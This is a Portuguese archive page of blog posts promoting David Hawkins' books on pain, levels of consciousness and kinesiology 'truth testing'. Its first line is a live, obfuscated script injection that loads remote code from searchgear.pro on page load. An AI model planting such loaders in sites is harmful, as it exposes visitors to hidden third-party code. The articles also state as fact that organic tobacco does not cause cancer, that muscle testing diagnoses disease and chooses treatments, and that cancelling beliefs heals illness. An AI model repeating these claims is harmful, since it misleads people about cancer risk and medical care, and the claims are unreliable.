;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Arquivo de Níveis de Consciência - David Hawkins Brasil
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Níveis de Consciência

Como lidar com a dor crônica sem sofrimento?

Nesse artigo vamos aprender a lidar com a dor crônica, aquela que vem e insiste em ficar. Mostraremos práticas espirituais e técnicas, vamos aprofundar no que explicamos no artigo da semana passada sobre como lidar com a dor aguda pontual que ocorre após algum acidente.

A técnica que será utilizada será a mesma que para a dor aguda, mas a forma de fazer isso é um pouco diferente. Vamos aprofundar com algumas práticas de como lidar com a dor crônica a seguir.

Lidando com a dor crônica

1ª. Prática: Observe que a dor está em todo lugar

Quem nunca sentiu uma dor que faz o estômago revirar e as pernas tremerem? A dor não tem um muro em volta em que fica apenas na região que está sendo evidenciada incialmente. A dor está na consciência e justamente por isso pode ser sentida de qualquer região do nosso corpo. Abaixo vamos ensinar uma técnica de meditação para observar isso com maior clareza.

“Como todas as experiências estão sendo experienciadas na consciência, observamos para ver onde a dor está sendo experienciada, como no caso do polegar que foi cortado. Primeiramente, poderíamos dizer que a dor está no dedo. Na verdade, onde a dor está sendo experienciada? A dor move a atenção para longe do dedo. Se a pessoa disser “Movo o foco da atenção para o topo da minha cabeça”, do topo da cabeça, olhamos a região do polegar e experienciamos a dor da situação, mas onde está se passando a dor do polegar? Quando fazemos isso, começamos a perceber que a dor está sendo experienciada em todo lugar – ao redor do corpo e nos campos de energia do corpo – está acontecendo em todos os lugares.”  – Dr. David Hawkins, “Cura e Recuperação”

2ª. Prática: Não Rotule o que está sentindo

A sensação que sentimos não é o nome que damos a sensação, é o que é experienciado de fato. Mesmo as palavras sensação ou dor são rótulos. Por exemplo, se você tem uma úlcera, não chame de úlcera. Sua mente vai querer então chamar de “queimação”. Mas isso também é um conceito.

Pense em um animal que apenas sente sem ficar refletindo sobre o que é, porque está sentindo isso, etc. É justamente isso que vamos fazer! Assim, podemos nos desvincular de todas as programações mentais que vem atreladas a ter uma doença, como, no exemplo que demos, tudo o que a humanidade associa ao fato de ter úlcera.

“Estamos sujeitos apenas àquilo que mantemos em mente. Essa única frase é a chave para curar todas as doenças, dores e sofrimentos.”  – Dr. David Hawkins, “Cura e Recuperação”

3ª. Prática: Cancele crenças

Ao compreendermos que só estamos sujeitos ao que mantemos em mente, logo vem a mente uma vontade de limpar tudo isso e de saber como fazer essa limpeza profunda. A forma de fazer isso é cancelar nossas crenças, já que são elas que estão por trás das doenças e acidentes.

“Pesquisas mostraram que é o sistema de crença em si que literalmente cria a experiência. O incidente é uma expressão do sistema de crenças. É como se a mente justificasse o que acredita ser verdade.”  – Dr. David Hawkins, “Cura e Recuperação”

A única maneira de saber se isso é verdade, é praticando. Portanto, a primeira crença que vamos cancelar é a de que dor e sofrimento são a mesma coisa. Vamos dizer a nós mesmos: “Dor é uma coisa, sofrimento é outra”.

Em seguida, vamos cancelar todos os pensamentos, pois todos são crenças. Para isso vamos utilizar a seguinte frase: “Eu cancelo a crença (de que tenho uma dor crônica). Eu sou um ser de Amor Infinito e não estou sujeito a isso”.  – Dr. David Hawkins, “Cura e Recuperação”

4ª. Prática: Se distancie da dor

O caminho não é de reprimir a dor ou se distrair para não focar no que está acontecendo. O caminho ainda é o que indicamos para a dor aguda: é renunciar à resistência para de fato sentir a dor, ao invés de tentar fugir dela. 

Podemos sentir a dor com um certo distanciamento, quase como se estivéssemos observando a dor em uma outra pessoa. 

“Por que algumas pessoas são tão suscetíveis à dor e sofrimento e para outras é tão transitório? Para quem é transitório, a dor e o sofrimento passam pela superfície, mas não em seu núcleo. Podem ficar extremamente incomodadas com algo, mas quem elas realmente são internamente, se mantém imperturbável. De alguma maneira, existe uma diferenciação entre quem se é e as experiências. O Eu real é totalmente imperturbável e permite que a experiência flua através do eu. O mal-estar, como conflitos emocionais, pode durar horas, mas o Eu verdadeiro interior nem participa desse mal-estar. Essa é a diferença entre o que é o eu real da pessoa e o que está sendo experienciado. É o desapegar do hábito de se identificar como a experiência. Somos aquilo em que a experiência está acontecendo, não a experiência em si.”  – Dr. David Hawkins, “Cura e Recuperação”

5ª. Prática: Entregue a Dor para Algo Maior

Lidar com a dor crônica não é missão para o ego, que vai querer fugir ou se sentir culpado ou orgulhoso. Esse processo envolve humildade radical e uma grande entrega a Deus. Em oração podemos assumir que não conseguimos e pedir para que Deus lide com isso por nós. Assim, poderemos experienciar que de fato algo maior do que o eu, lida com a dor por nós. 

“Minha experiência pessoal foi que alguma energia maior surgia e cuidava da dor para mim. Chamamos de “energia maior”, pois podemos verificar sua existência. Como já disse, “Deus, eu não posso fazer; faça por mim”.”  – Dr. David Hawkins, “Cura e Recuperação”

O sofrimento que vem da dor aguda é reflexo do Nível de Consciência

No fundo da tabela de consciência está a Culpa (30), a culpa excessiva gera doenças, acidentes e desgastes. Quando nos conectamos ao nível de consciência de culpa, vivemos em pecado, sofrimento, dor e isso por si só gera um ódio a nós mesmos. É um processo de autodestruição. 

Aqui, o primeiro ponto que precisamos desapegar é que isso traz algum benefício. A verdade é que a culpa não nos faz pessoas melhores, em vez disso, ela nos torna pessoas ainda mais egoístas. 

“Agora temos que abrir mão da crença de que penitência, culpa, pecado e sofrimento são de enorme benefícios espi- rituais. Verdadeiramente, todos os milhares de pessoas que tratei clinicamente ao longo de cinquenta anos que tinham dor crônica, culpa, pecado e sofrimento, eram as pessoas mais egoístas e egocêntricas que já conheci. Dor crônica e sofrimento não fazem as pessoas se iluminarem, se tornarem amorosas. Isso normalmente as faz ser mal-humoradas, raivosas, egoístas e egocêntricas, o que as leva para o próximo nível – autopiedade”  – Dr. David Hawkins, “Cura e Recuperação”

Sentir pena de si mesmo pela doença não é o caminho, nem sentir Medo de que esse estado permaneça ou mais ainda, o medo de que o estado piore.  O caminho também não é o Desejo constante de se livrar de tudo isso, o que só gera mais resistência. Enquanto a resistência, por sua vez, garante a permanência da dor e deixa as pessoas raivosas. 

“A raiva das pessoas em dor crônica é enorme. Estão presas nisso.”  – Dr. David Hawkins, “Cura e Recuperação”

Há até um Orgulho sombrio de ninguém conseguir ajudar a pessoa a sair dessa condição na qual está presa. Quando a pessoa acredita que seu caso não tem solução, perde a esperança e resiste ao tratamento. É claro que esse também não é o caminho. 

Os Níveis de Consciência positivos nos distanciam da dor

O caminho para sair disso começa na Coragem para “deixar de resistir”. A partir daí, atingimos a Neutralidade onde reconhecemos que está tudo bem, não importa o que aconteça. Isso nos traz a Disposição em ser misericordiosos e a Aceitar que somos humanos, realmente aceitar a nossa humanidade.

“Existe a aceitação da condição humana e da experiência protoplásmica humana sem sentir mágoas com relação a isso, sem sentir autopiedade, sem ficar com raiva, sem sentir orgulho e começar a julgar “erros” e sem atacar a si mesmo. Se fizermos isso, podemos nos elevar para um campo de energia chamado Amor, ou mesmo Alegria e Amor Incondicional.”  – Dr. David Hawkins, “Cura e Recuperação”

Quando entramos em um estado de amorosidade (entre 500 e 540), aprendemos a rir de nós mesmos. Logo, nos aproximamos da cura. Há vários livros que relatam que o humor cura, assim as doenças físicas são de fato curadas por risadas frequentes. Aqui, cria-se a consciência de que a dor é uma coisa, mas eu sou outra.

O que fazer com a dor crônica durante todo esse processo espiritual até se chegar na cura?

1ª. Técnica: Acupuntura

Aqui no artigo ensinamos como lidar com a parte espiritual durante uma doença, mas precisamos também fazer algo para aliviar nosso corpo físico, justamente porque todas as doenças devem ser tratadas nos âmbitos físico, mental e espiritual. A acupuntura, por sua vez, vai atuar de forma muito efetiva no corpo físico, aliviando as dores e contribuindo para que o processo de cura espiritual seja realizado do começo a fim, sem tantas interferências na vida mundana. 

2ª. Técnica: Relaxamento profundo

Outro nome dado a essa técnica é hipnose, mas dado a todas as crenças que se atribuíram a palavra, optamos por nomeá-la de relaxamento profundo, o que reflete de maneira mais autoexplicativa o que é essa técnica. 

Por questões de progressão da consciência, não recomendamos buscar um profissional que faça esse tipo de trabalho, recomendamos que a pessoa aprenda a chegar nesse estado por si só. É um estado de relaxamento no qual o nível de concentração fica aumentado de forma que não conseguimos na vida cotidiana. Assim, é muito mais fácil reprogramar crenças.

Então, como fazer isso sozinho?

Comece relaxando seu corpo por níveis, como se estivesse descendo 10 degraus. Antes de começar cada nível, anuncie mentalmente para você mesmo “Nível 1” e assim por diante.

  • Nível 1 – Inicia a experiência
  • Nível 2 – Relaxe todos os músculos da cabeça. Não se esqueça de observar a mandíbula onde sobrecarregamos muitas tensões. 
  • Nível 3 – Relaxe as tensões do pescoço e trapézio
  • Nível 4 – Relaxe os músculos das costas e do peitoral
  • Nível 5 – Aumente a progressão do relaxamento, dos músculos maiores até os menores, como ombros, braços, antebraços, mãos e dedos.
  • Nível 6 – Relaxe peito e tronco
  • Nível 7 – Relaxe toda a tensão do abdômen inferior
  • Nível 8 – Relaxe quadril e nádegas
  • Nível 9 – Deixe o relaxamento fluir pelas suas pernas
  • Nível 10 – Relaxe os pés

No nível 10, diga a si mesmo “Estou no nível 10”, como um gatilho para realmente desapegar da resistência. Em seguida, reprograme suas crenças com o que ensinamos aqui, por exemplo, que dor é uma coisa, sofrimento é outra. Observe que quando não há resistência, não há sofrimento em sentir a dor. Por fim, aplique a primeira prática que ensinamos aqui e experiencie a dor em todo lugar, sem resistência.

3ª. Técnica: Ouvir músicas grandiosas

Hoje sabemos que as músicas belas e grandiosas liberam endorfinas no cérebro. Mas desde a época de Hipócrates já sabíamos do efeito curativo que a beleza proporciona. 

No âmbito mais popular são recomendados artistas como George Harrison, Andrea Bocelli, Enrico Caruso e Louis Armstrong. Já se você gosta de música clássica, mergulhe ao som de Bach, J. S.  e Pachebel, J. (“Canon”). Mesmo que você não esteja familiarizado com músicas clássicas, escute quando for fazer uma atividade em precise de energia ou para começar o dia. Já para relaxar e se interiorizar, recomendamos músicas espirituais como “Ave Maria” e “Amazing Grace” ou o som de Robert Gass.

Não perca nada!

Essa é a segunda parte do artigo inspirado no “Capítulo 10: Dor e Sofrimento” do livro “Cura e Recuperação”. Na primeira parte, ensinamos a lidar com a dor aguda e é uma ótima introdução para melhor compreender o que ensinamos aqui.

Leia direto da fonte: livro “Cura e Recuperação” 

Uma das melhores maneiras de absorver toda a profundidade do trabalho do Dr. David Hawkins é por meio de seus livros. Neles, você conseguirá se aprofundar no contexto e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Além disso, os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No livro “Cura e Recuperação” ele nos ensina a assumir a responsabilidade pela nossa própria cura e abordar as doenças no âmbito de corpo, mente e espírito, de maneira a praticar a espiritualidade em serviço a Deus mesmo nos momentos mais difíceis da nossa vida. Mas não é só isso, ao descobrir a Verdade, vamos aprender a lidar com a sexualidade, o envelhecimento, questões de emagrecimento e até a própria morte.

Acima de tudo, trazemos, em nós, a intenção de aliviar o sofrimento humano em todas as suas formas e expressões. Essa é uma intenção do dr. David Hawkins com todas as suas obras e que Pandora Treinamentos absorveu, pela sua inspiração e pelo compromisso em traduzir seus livros para português. Visto que a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Cura e Recuperação” no Brasil.

Estão todos convidados para mergulhar nesse conteúdo conosco.

Acesse o site da Editora Pandora e adquira o seu exemplar do livro Cura e Recuperação.

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Como lidar com a dor aguda sem sofrimento?

Não, a dor e o sofrimento não são a mesma coisa, por mais surpreendente que essa informação possa parecer. Não é necessário ser vítima da dor e isso é possível justamente descontruindo a crença de que dor é igual a sofrimento. É possível que a dor esteja presente, mas não seja sentida devido ao estado de consciência. Isso é o que acontece de forma artificial quando tomamos uma anestesia, mas aqui vamos ensinar como chegar nesse estado de forma natural.

Acreditamos que a dor é sentida fisicamente, mas na verdade ela é interpretada pela mente. Enquanto a mente, só sabe o que se passa nela devido a consciência. No artigo sobre Sexualidade aprofundamos um pouco mais sobre como isso funciona.

“O conteúdo da mente e o que está se passando nela é observado através da consciência; assim sendo, toda experiência está ocorrendo na consciência.” – Dr. David Hawkins, “Cura e Recuperação”

Lidando com a dor aguda

O ego acredita que ao resistir a dor, ela será eliminada. Queremos resistir a todo custo por acreditar que a dor gera sofrimento. Ficamos chocados que houve um acidente e mentalizando sobre isso, querendo que não tivesse acontecido. A técnica que vamos usar é o oposto disso é desapegar da resistência, e vamos mostrar porque isso é muito melhor do que toda a resistência que geramos normalmente.

“Desapegar da resistência significa estar por completo no evento e se render totalmente a sensação. Significa ignorar os pensamentos que possamos estar tendo sobre o evento. Em vez de pensar sobre isso, vamos entrar diretamente na experiência da sensação e desapegar de resisti-la. Por exemplo, se nos queimarmos acidentalmente e desapegarmos de resistir a sensação, inicialmente será como uma saturação. Abrimos as portas, a dor se intensifica, e nos rendemos totalmente a ela e desapegamos de resistir.

A maneira de fazer isso é dizer “Mais, mais, mais”. A maneira de manter isso em mente para que seja aceitável é saber que existe uma quantidade limitada de dor em cada experiência. Abrimos a porta e a deixamos se esgotar rapidamente. “Desapego de resistir a essa experiência. Desapego de resistir em estar com ela. Ignoro os pensamentos, pois os pensamentos não serão úteis. Ao invés disso, me rendo totalmente e me permito experienciar a experiência na sua totalidade”. É como se a porta se abrisse, a intensidade aumenta e a dor é totalmente experienciada e esgotada em poucos minutos.” – Dr. David Hawkins, “Cura e Recuperação”

Experiências de quem aplicou a técnica para dores agudas

Quando escolhemos sentir a experiência da dor, deixamos de ser vítimas da experiência e nos tornamos senhores dela. A técnica foi utilizada pelo próprio dr. David Hawkins ao torcer o tornezelo e o pé esquerdo, em seguida dessas experiências, ele sentiu ondas de dor aguda, mas não precisou enfaixar e ficou completamente curado. 

Quando ele cortou seu dedão fora com uma serra ao fazer carpintaria o sangue parou de jorrar em poucos segundos após amputar seu dedo. Ficaram apenas 8 gostas na tábua de madeira que está guardada até hoje.

No entanto, ele não foi o único a experienciar os benefícios dessa técnica. Foram muitos os casos, mas ele cita mais dois alunos dele que fizeram isso com queimaduras intensas e não tiverem as bolhas que se esperaria delas. Além disso, conta o caso de uma turma em que ensinou sobre isso numa semana, e na próxima semana vários alunos tiverem acidentes e puderam comprovar a eficácia da técnica.

Você não precisa acreditar no que está aqui, a técnica pode ser experienciada por qualquer pessoa. Tudo o que precisa ser feito é desapegar da resistência. Enquanto a resistência estiver presente, a experiência permanece. Portanto, é a resistência que nos coloca na posição de vítimas e é assim a dor ganha poder sobre nós. 

Correlação da Experiência com os níveis de Consciência

Quando tentamos controlar a experiência ou usar força de vontade, estamos em um nível de consciência negativo de Raiva e Indignação (150), inconformados porque ter que sentir dor. Aqui, ficamos presos num mar de emoções negativas, sem alívio dos sintomas. 

No entanto, podemos criar Coragem (200) de agir diferente e compreender a Neutralidade (250) de que “está tudo bem passar por isso”. Assim, surge a Disposição (310) de lidar com isso até o final. Com essa escolha ficamos dispostos a aceitar o que é e nós nos elevamos a Aceitação (380).

Ao escolher aplicar a técnica que ensinamos aqui a pessoa observa que seu ego não precisa lidar com a dor, em vez disso, Algo Maior, o Amor (500) está com elas nesse momento. Até que isso nos eleva ao Amor Incondicional (540) que é o nível da Cura e do desapego à resistência. 

“É fazendo essas coisas que elas se tornam reais. Fazendo esse exercício co- meçamos a experienciar que algo além do eu pessoal está lidando com a experiência e, dentro de instantes, o que era agonizante se torna suportável. Saímos da resistência e do medo do sofrimento.”  – Dr. David Hawkins, “Cura e Recuperação”

Não perca nada!

Essa é a primeira parte do artigo inspirado no “Capítulo 10: Dor e Sofrimento” do livro “Cura e Recuperação”. Na segunda parte, que vamos publicar semana que vem, ensinaremos a lidar com a dor crônica.

Leia direto da fonte: livro “Cura e Recuperação” 

Uma das melhores maneiras de absorver toda a profundidade do trabalho do Dr. David Hawkins é por meio de seus livros. Neles, você conseguirá se aprofundar no contexto e com isso poderá aplicar os ensinamentos de forma prática na sua vida.

Além disso, os leitores de Hawkins que se dedicam a viver suas lições têm benefícios claros em todas as áreas, como nos relacionamentos, espiritualidade, saúde, autoestima, finanças e vida profissional.

No livro “Cura e Recuperação” ele nos ensina a assumir a responsabilidade pela nossa própria cura e abordar as doenças no âmbito de corpo, mente e espírito, de maneira a praticar a espiritualidade em serviço a Deus mesmo nos momentos mais difíceis da nossa vida. Mas não é só isso, ao descobrir a Verdade, vamos aprender a lidar com a sexualidade, o envelhecimento, questões de emagrecimento e até a própria morte.

Acima de tudo, trazemos, em nós, a intenção de aliviar o sofrimento humano em todas as suas formas e expressões. Essa é uma intenção do dr. David Hawkins com todas as suas obras e que Pandora Treinamentos absorveu, pela sua inspiração e pelo compromisso em traduzir seus livros para português. Visto que a Editora Pandora é a responsável pelas traduções autorizadas das obras do professor, incluindo o livro “Cura e Recuperação” no Brasil.

Estão todos convidados para mergulhar nesse conteúdo conosco.

Acesse o site da Editora Pandora e adquira o seu exemplar do livro Cura e Recuperação.

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Nível de Verdade e o impacto na vida cotidiana

Na semana passada explicamos sobre como discernir Verdade da Falsidade. Já nesse artigo, baseado no “capítulo 7: Análises de Pontos Críticos do Cotidiano” do livro “Poder vs. Força”, vamos aprofundar a compreensão de como essa ferramenta da cinesiologia pode ser utilizada na vida cotidiana, levando a uma compreensão profunda do nível de verdade.

“As implicações práticas são incríveis: essa ferramenta pode ser tão embrionária na evolução contínua da humanidade como qualquer uma das grandes descobertas das ciências físicas até a presente data.” – Dr. David Hawkins, “Poder vs. Força”

Ressaltamos que o uso da cinesiologia dessa forma compreende não só distinguir o que é verdade ou não, mas também qual o nível de verdade, de acordo com a Tabela dos Níveis de Consciência.

Podemos verificar o nível de verdade de um livro, de um determinado capítulo do livro, de qualquer parágrafo ou sentença. É possível verificar noticiários e o nível de verdade de pessoas públicas. Podemos avaliar políticos de todos os tempos, bem como filosofias, posicionamentos, estratégias militares e muito do contexto político-social passado e presente. 

Uso Pessoal

No contexto pessoal, a técnica continua ampla, desde avaliar investimentos a fazer, instituições a frequentar, ou se a compra de determinado carro usado é boa ou se uma fruta está boa para consumo, ou até mesmo escolher um terapeuta, um médico, um dentista, um funcionário ou um parceiro amoroso!

Melhor ainda é que conforme as respostas vem, surgem novas perguntas que se tornam mais profundas contribuindo para uma maior clareza e possível cura.  

“Apesar de haver um potencial para a chateação emocional pelo uso insensato desse método, a experiência mostrou que continuar a linha de raciocínio vai ampliar o contexto e curar o distúrbio. 

Vamos dizer que uma jovem mulher afirme: 

“Meu namorado é honesto” ou 

“Ele é bom para a minha vida”, 

e as respostas são negativas. 

Ela ficará desapontada por descobrir que o amor dele é egoísta e explorador. 

Mas mais perguntas providenciam uma resolução:  

“Esse relacionamento pode terminar em dor emocional?” (Sim)

“Estou me poupando de muita tristeza agora por saber disso?” (Sim)

“Posso aprender com a experiência?” (Sim)

Deste modo nós vemos o benefício quando a linha de raciocínio está completa.” – Dr. David Hawkins, “Poder vs. Força”

As nossas dúvidas são reflexos das nossas intenções e níveis de consciência. Logo, é sempre informativo calibrar também as indagações e não só suas respostas.

Eventos Históricos e Atuais 

A verdade por trás dos eventos mundanos pode ser revelada, como se uma vítima em um processo é culpada ou inocente, desmascarar teorias de conspiração ou compreender mistérios não resolvidos. Com esse método foi possível verificar a inocência de figuras públicas presas por motivo do qual eram inocentes, bem como investigar mistérios de casos americanos.

Pesquisa de Saúde

A cura para muitas doenças não é descoberta porque a pesquisa se limita ao uso da razão, onde alguns dogmas não podem ser quebrados. Um exemplo que surgiu nesse estudo é do dogma de que o tabaco causa câncer. Na verdade, o tabaco orgânico cultivado não causa câncer, o que é cancerígeno são as químicas do processo da fabricação do cigarro.

Justiça Criminal e Trabalho Policial

Essa técnica é capaz de resolver casos em que temos apenas a palavra do acusador contra a do acusado. Além de verificar se a testemunha está mentindo e se há adulteração de provas ou até do júri. 

Estatísticas e Metodologia: Economia de Tempo

Hoje a estatística e outras análises são a principal forma de se chegar a respostas, mas com essa técnica é possível economizar muito tempo e dinheiro para se chegar nas mesmas respostas. Na verdade, as respostas se toram mais profundas porque contemplam todo o contexto e não só o conteúdo analítico.

Mesmo a técnica do uso aplicado da cinesiologia que utilizamos aqui precisou ser documentada estatisticamente para validação social e demonstração com fatos e dados aos céticos. Foram feitos os seguintes procedimentos: 

  • “15 grupos pequenos diferentes totalizando 360 sujeitos foram testados com estímulos positivos e negativos (análises estatísticas revelaram que p < 0,001)
  • 7 grandes grupos totalizando 3293 voluntários foram similarmente testados (p < 0,001)
  • 325 sujeitos foram testados individualmente (p < 0,001)
  • 616 pacientes psiquiátricos foram testados em grupos e individualmente (p < 0,001)” – Dr. David Hawkins, “Poder vs. Força”

Política e Governo

Agora podemos ter a certeza de como responder as questões políticas que borbulham em nossa mente, especialmente na época de eleição.

“Nossos líderes estão no guiando para a verdade? Uma figura política está mantendo a Constituição (..) ou a corrompendo para ganhos pessoais? Um candidato em particular tem a capacidade de atender as exigências que o cargo busca? Os fatos estão sendo deturpados por uma agência governamental ou porta voz? Será que essa proposta política vai realmente resolver o problema para o qual ela foi criada?” – Dr. David Hawkins, “Poder vs. Força”

Comércio

É possível diagnosticar toda uma empresa para que melhore seus resultados sem arriscar nenhum recurso para isso. Pode se começar calibrando os níveis de motivação coletiva e em seguida o nível que cada departamento precisa alcançar. Podemos aprofundar ainda mais na técnica e até determinar o nível de consciência adequado para cada cargo de liderança. 

O ego quando olha para a tabela dos níveis de consciência acredita que quanto maior o nível de consciência, melhor. No entanto, cada nível de consciência possui seu propósito e se enquadra melhor em diferentes funções.

Além disso, no campo do comércio e negócios, esse método também permite detectar fraudes, corrupções e desvio de dinheiro.

Ciência e Pesquisa

Aqui podemos reconhecer o nível de verdade em qualquer pesquisa, artigo ou afirmação. Assim, vamos quebrar o paradigma de que o auge da análise está em estáticas computadorizadas e confiar que a cinesiologia pode ir além da razão utilizando o computador mais avançado do mundo, o sistema nervoso humano.

Trabalho Clínico

A técnica é útil para diagnóstico de doenças e avaliar a possível eficácia dos tratamentos. Permite ir além de apenas aplicar o que as estáticas de teste cego assumem como o melhor. Ao trabalhar apenas com estatísticas, o paciente perde sua característica de individuo e sempre recebe o tratamento que supostamente é melhor para massa, mas não necessariamente para si.

Enquanto ao aplicar a cinesiologia para determinar o melhor tratamento, nos abrimos para trabalhar com todo o contexto de vida daquela pessoa.

Educação

Agora que sabemos que podemos ver se um livro está acima do nível crítico da Verdade ou não, podemos separar as pilhas de livros que possuímos em verdadeiro e falso.

“Conforme você faz isso, seus livros vão terminar em duas pilhas, a verdadeira e a falsa. Reflexões sobre as diferenças entre as duas podem produzir uma revelação – muitos testadores descobriram ser essa uma das experiências mais valiosas das suas vidas.” – Dr. David Hawkins, “Poder vs. Força”

Isso também pode ser feito para discos e álbuns de música, o que nos revela porque depois de certas músicas por muito tempo podemos sentir certa irritação.

Espiritualidade – Professores Espirituais 

Essa técnica também possibilita distinguir verdadeiros professores espirituais de falsos gurus, o que é de extrema valia, principalmente diante da inocência dos estudantes espirituais. Sabemos que gurus mais perspicazes misturam verdade a conteúdos falsos dificultando a distinção, mas ainda assim, distorcem a verdade por um falso contexto e uma das maiores dores que podemos passar é ter um falso guru. 

“Os chamados “professores” podem infringir terríveis sofrimentos e tragédias. As depressões mais catastróficas na prática clínica ocorreram em pessoas que descobriram que foram enganadas e sequestradas espiritualmente. Tal desilusão e sofrimento é muito mais severo do que o resultado de outras perdas na vida, e a recuperação nem sempre foi possível.

(…) Gurus falsos também fazem as pessoas ficarem fracas de forma dramática. É como se o Universo considerasse a violação espiritual um erro especialmente grave.” – Dr. David Hawkins, “Poder vs. Força”

Um cuidado especial que devemos tomar é com os canalizadores e psíquicos, porque é onde a fraude espiritual predomina. Embora, algumas vezes há de fato ensinamentos no Nível de Amor (500). 

O professor espiritual verdadeiro ensina como avançar a consciência, mas deixa a escolha ao aluno e não controla a sua vida. É assim que o aluno escolhe trilhar o caminho. O caminho da verdadeira espiritualidade leva a autodescoberta e crescimento. 

“No fim, isso pode nos levar a ter compaixão por todo mundo quando vemos como todos nós lutamos com as desvantagens da natureza humana. Todos são aleijados em alguma área e todo mundo está em algum lugar no caminho da evolução, alguns a nossa frente, outros atrás. Nos passos que caminhamos estão as lições antigas da vida e diante de nós estão os novos ensinamentos a serem aprendidos.” – Dr. David Hawkins, “Poder vs. Força”

Espiritualidade – Subindo os níveis de Verdade

Agora, podemos revelar os pontos de ilusão. Mas não há necessidade de culpar ou sentir culpa, é a apenas a clareza do que evitar. Tudo tem a sua função no mundo e a dor só existe para que a gente possa escolher evoluir.

Nós escolhemos nosso nível de consciência, ainda que a gente não possa escolher diferente no dado momento. Ainda assim, podemos colocar a intenção de onde queremos chegar e o caminho vai se desdobrar.

O que é prejudicial perde sua capacidade de prejudicar quando é traduzido para luz. Por isso é de grande valia observar os nossos julgamentos e como eles, na verdade, são autojulgamentos. É preciso estar atento aos nossos pensamentos, ações, decisões, sentimentos já que esses ficam registrados no campo de consciência por todo o tempo, como podemos constatar com a cinesiologia. 

Nosso Universo é todo interconectado e uma melhoria interna de uma pessoa melhora o mundo no geral para todos. Elevar nosso próprio nível de consciência é o maior serviço que podemos fazer a humanidade. Não vamos enxergar um evento causando outro, mas vamos observar pessoas amorosas se aproximando de nós e um desenrolar de gentilezas ao nosso redor. No entanto, isso só ocorre se dermos o nosso melhor sem querer nada em troca, mas sim a serviço do Bem Maior. O que conta é a intenção e não a ação. 

“A descoberta de que a verdade é revelada em todos os lugares é a chave para a iluminação sobre assuntos mais práticos e destino da humanidade. No processo de examinar nossa vida cotidiana, podemos descobrir que todos os nossos medos foram baseados na falsidade. O deslocamento do falso pelo verdadeiro é a essência da cura de todas as coisas visíveis e invisíveis.” – Dr. David Hawkins, “Poder vs. Força”

Gloria In Excelsis Deo!

Leia direto da fonte: livro “Poder vs Força” 

É impossível ser a mesma pessoa depois de terminar a leitura de Poder vs Força. 

Além disso, essa obra nos presenteia com uma visão reveladora do comportamento humano, neste livro o dr. David Hawkins detalha como qualquer pessoa pode resolver o maior dilema da humanidade: distinguir instantaneamente a verdade da falsidade.

O livro “Poder vs. Força” no qual o dr. David Hawkins revelou isso ao mundo é um best-seller mundial, traduzido em mais de 25 línguas. Além de ter o respaldo desde santos até executivos, como a Madre Tereza de Calcutá, o Sam Walton, fundador da rede mundial de varejo Walmart e o Lee Iacocca, criador do carro Mustang.

Uma leitura imperdível e praticamente obrigatória para todos aqueles que estão verdadeiramente comprometidos com o avanço espiritual e a expansão da consciência.

Acesse o site da Editora Pandora e adquira o seu exemplar do best-seller Poder vs Força.

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Verdade vs. Falsidade: como discernir?

O Dr. David Hawkins quebrou um dos grandes paradigmas da humanidade: distinguir o que é verdade do que é falsidade. Isso não é baseado na capacidade intelectual dos seres humanos. Na verdade, ele é categórico em dizer que: “a mente não consegue discernir o que é verdadeiro do que é falso”.  

Com a mente ficamos presos no paradigma de que todos os posicionamentos podem ser verdadeiros, o que leva a gente a infinitas mentalizações que não levam a lugar nenhum. Esse relativismo distorce os fatos, validando pontos de vista sem sentido porque a maioria das pessoas não reconhece a verdade. Portanto, a verdade não está no que a maioria acredita.

“A desvantagem de nossa sociedade é que estamos dizendo que podemos votar na verdade. Se essa falácia não for corrigida, haverá a destruição de nossa civilização, como Sócrates previu por volta de 350 A.C.. Ele disse que se você der a cada pessoa um voto igual para determinar a verdade, o não-íntegro destruirá a sociedade.” – Dr. David Hawins, “The Map of Consciousness Explained”

A resposta do que é Verdadeiro ou Falso está na consciência

A resposta para algo que a mente não consegue lidar só pode estar em algo maior do que ela mesma, que é a consciência. Publicamos no artigo sobre Sexualidade uma visão de como interpretamos a realidade, muito útil para o que vamos contextualizar aqui também. 

Observe que o nosso braço não sabe que é um braço, ele não consegue experienciar o que é ser um braço. É a mente que reconhece que o braço é o braço e nos permite sentir o nosso braço e até movê-lo. É por isso que podemos receber uma anestesia e deixar de sentir o braço, por exemplo. O entorpecente da anestesia adequado interrompe o canal de comunicação entre braço e mente.

Podemos ir além e observar que mesmo a mente em si não consegue experienciar uma sensação ou um pensamento, isso só ocorre em algo maior do que si mesma que é a consciência. É porque existe a consciência, que é esse infinito campo silencioso, como uma tela em branco, que podemos escutar a nossa própria mente e saber o que se passa nela. 

Como dissemos anteriormente, um paradigma de distinguir o que é verdadeiro do que é falso não está disponível com a ferramenta que é a nossa mente. No entanto, está disponível em algo maior do que a mente, que é a consciência.

Como a consciência pode manifestar a Verdade?

Nosso corpo reage espontaneamente aos fatos, independente daquilo em que acreditamos ou não. Logo, sendo uma pessoa íntegra com questionamentos íntegros, nosso corpo reage positivamente a Verdade e enfraquece diante da falsidade, ou seja, na ausência da Verdade. 

“A consciência reage decisivamente à diferença entre o verdadeiro e o falso. 

Você pode instantaneamente confirmar isso por afirmar sua verdadeira idade, que vai fazer o seu braço ficar forte, e então a sua idade incorreta que vai fazer o seu braço enfraquecer. 

(Digamos que você tem 43 anos).

“Eu tenho 43 anos.” Tendo alguém pressionando o seu braço estendido, você vai se manter forte.

Agora diga: “Eu tenho 45 anos”, e você vai instantaneamente enfraquecer.” – Dr. David Hawkins, “Cura e Recuperação”

A ciência que estuda os testes musculares e como aplicá-los se chama Cinesiologia, e é possível aprofundar um pouco mais sobre isso nesse artigo aqui. Além disso, destacamos também que esses testes de cinesiologia foram testados por milhares de pessoas nesse trabalho do dr. David Hawkins, em diferentes formatos.

O livro “Poder vs. Força” no qual o dr. David Hawkins revelou isso ao mundo é um best-seller mundial, traduzido em mais de 25 línguas. Além de ter o respaldo desde santos até executivos, como a Madre Tereza de Calcutá, o Sam Walton, fundador da rede mundial de varejo Walmart e o Lee Iacocca, criador do carro Mustang. No final desse artigo, acrescentamos a sinopse desse livro, que contém os destaques do que essas pessoas disseram sobre o livro.

Manifestação da Consciência além do teste muscular

